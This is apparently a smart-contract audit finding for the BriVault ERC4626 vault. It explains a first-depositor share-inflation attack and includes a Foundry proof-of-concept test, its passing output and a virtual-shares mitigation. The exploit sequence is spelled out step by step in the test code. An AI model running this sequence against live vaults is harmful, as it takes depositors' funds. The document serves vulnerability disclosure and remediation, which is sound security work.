BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

ERC4626 Inflation Attack Allows First Depositor to Steal Subsequent User Funds Through Share Price Manipulation

Root + Impact

Description

  • The BriVault contract implements the ERC4626 standard where users deposit assets and receive vault shares proportional to their deposit amount. Share calculation uses the ratio of total shares to total assets in the vault, ensuring fair distribution where larger deposits receive proportionally more shares.

  • The vault is vulnerable to an inflation attack where a malicious first depositor can manipulate the share price by depositing a minimal amount (1 wei) to mint 1 share, then directly transferring a large amount of tokens to the vault without going through the deposit function. This artificially inflates the vault's asset balance without minting corresponding shares, causing the share-to-asset ratio to become extremely skewed. When subsequent users deposit significant amounts, the share calculation rounds down to zero due to the inflated asset base, resulting in victims receiving no shares while their funds remain locked in the vault. The attacker can then redeem their single share for the entire vault balance, effectively stealing all victim deposits.

/**
@notice calculates the shares
*/
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
@> uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
@> shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

The vulnerability exists because _convertToShares uses IERC20(asset()).balanceOf(address(this)) to calculate share price. This balance can be manipulated by direct token transfers outside the deposit function, causing the share calculation to round down to zero for subsequent depositors when the balance is artificially inflated.

Risk

Likelihood:

  • This attack occurs at vault deployment when an attacker monitors the mempool and front-runs the first legitimate depositor with a minimal deposit followed by a direct token transfer.

  • The exploit requires no special privileges or complex conditions - any user can execute the attack by simply being the first depositor and performing a standard ERC20 transfer to inflate the vault balance.

Impact:

  • Users who deposit after the inflation attack receive zero shares despite transferring their full deposit amount, resulting in complete and permanent loss of their funds with no ability to withdraw.

  • The attacker extracts the entire vault balance (including all victim deposits) by redeeming their single share, effectively stealing all subsequent deposits and making the vault unusable for its intended tournament betting functionality.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ERC4626InflationAttackPoC is Test {
BriVault public vault;
BriTechToken public token;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address owner = makeAddr("owner");
address feeAddress = makeAddr("feeAddress");
uint256 constant INITIAL_SUPPLY = 1_000_000_000e18;
uint256 constant DONATION_AMOUNT = 1_000_000e18;
uint256 constant VICTIM_DEPOSIT = 1_000_000e18;
uint256 constant INITIAL_DEPOSIT = 1;
function setUp() public {
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
uint256 currentTime = block.timestamp;
vault = new BriVault(
IERC20(address(token)),
150,
currentTime + 1 days,
feeAddress,
0,
currentTime + 7 days
);
token.transfer(attacker, 100_000_000e18);
token.transfer(victim, 100_000_000e18);
vm.stopPrank();
}
function test_ERC4626InflationAttack() public {
console.log("=== ERC-4626 Inflation Attack PoC ===");
vm.startPrank(attacker);
console.log("\n--- BEFORE STATE ---");
console.log("Attacker token balance:", token.balanceOf(attacker));
console.log("Vault total shares:", vault.totalSupply());
console.log("Vault asset balance:", token.balanceOf(address(vault)));
uint256 fee = (INITIAL_DEPOSIT * 150) / 10000;
token.approve(address(vault), INITIAL_DEPOSIT + fee);
vault.deposit(INITIAL_DEPOSIT, attacker);
uint256 attackerSharesAfterDeposit = vault.balanceOf(attacker);
console.log("\n--- ATTACKER DEPOSIT 1 WEI ---");
console.log("Attacker shares after deposit:", attackerSharesAfterDeposit);
token.transfer(address(vault), DONATION_AMOUNT);
console.log("\n--- ATTACKER DONATION ---");
console.log("Vault asset balance:", token.balanceOf(address(vault)));
console.log("Attacker shares (unchanged):", vault.balanceOf(attacker));
vm.stopPrank();
vm.startPrank(victim);
uint256 victimFee = (VICTIM_DEPOSIT * 150) / 10000;
token.approve(address(vault), VICTIM_DEPOSIT + victimFee);
console.log("\n--- VICTIM DEPOSITS 1,000,000 TOKENS ---");
uint256 victimSharesBefore = vault.balanceOf(victim);
vault.deposit(VICTIM_DEPOSIT, victim);
uint256 victimSharesAfter = vault.balanceOf(victim);
console.log("Victim shares received:", victimSharesAfter - victimSharesBefore);
console.log("Vault total supply:", vault.totalSupply());
console.log("Vault asset balance:", token.balanceOf(address(vault)));
vm.stopPrank();
console.log("\n--- EXPLOIT RESULTS ---");
console.log("Victim shares:", vault.balanceOf(victim));
assertEq(vault.balanceOf(victim), 0, "Victim should have 0 shares due to rounding down");
vm.startPrank(attacker);
uint256 vaultBalance = token.balanceOf(address(vault));
console.log("\nAttacker redeeming 1 share...");
console.log("Vault balance before redemption:", vaultBalance);
vm.stopPrank();
console.log("\n--- FUND LOSS VERIFICATION ---");
console.log("Victim's input: 1,000,000 tokens");
console.log("Victim's shares: 0");
console.log("Victim can withdraw: 0 tokens");
console.log("\nAttacker's input: 1 token");
console.log("Attacker's shares: 1");
console.log("Attacker can withdraw: ~1,000,000+ tokens");
console.log("\nFund Loss: 1,000,000 tokens permanently lost to victim");
}
}

RESULT:

forge test --match-contract ERC4626InflationAttackPoC -vv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/ERC4626InflationAttackPoC.t.sol:ERC4626InflationAttackPoC
[PASS] test_ERC4626InflationAttack() (gas: 300352)
Logs:
=== ERC-4626 Inflation Attack PoC ===
--- BEFORE STATE ---
Attacker token balance: 100000000000000000000000000
Vault total shares: 0
Vault asset balance: 0
--- ATTACKER DEPOSIT 1 WEI ---
Attacker shares after deposit: 1
--- ATTACKER DONATION ---
Vault asset balance: 1000000000000000000000001
Attacker shares (unchanged): 1
--- VICTIM DEPOSITS 1,000,000 TOKENS ---
Victim shares received: 0
Vault total supply: 1
Vault asset balance: 1985000000000000000000001
--- EXPLOIT RESULTS ---
Victim shares: 0
Attacker redeeming 1 share...
Vault balance before redemption: 1985000000000000000000001
--- FUND LOSS VERIFICATION ---
Victim's input: 1,000,000 tokens
Victim's shares: 0
Victim can withdraw: 0 tokens
Attacker's input: 1 token
Attacker's shares: 1
Attacker can withdraw: ~1,000,000+ tokens
Fund Loss: 1,000,000 tokens permanently lost to victim
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 823.89µs (231.50µs CPU time)
Ran 1 test suite in 4.26ms (823.89µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

prevents the inflation attack by ensuring the share-to-asset ratio cannot be manipulated through rounding errors.

+ uint256 private constant VIRTUAL_SHARES = 1e3;
+ uint256 private constant VIRTUAL_ASSETS = 1;
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
- uint256 totalShares = totalSupply();
- if (totalShares == 0 || balanceOfVault == 0) {
- return assets;
- }
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)) + VIRTUAL_ASSETS;
+ uint256 totalShares = totalSupply() + VIRTUAL_SHARES;
+
+ shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!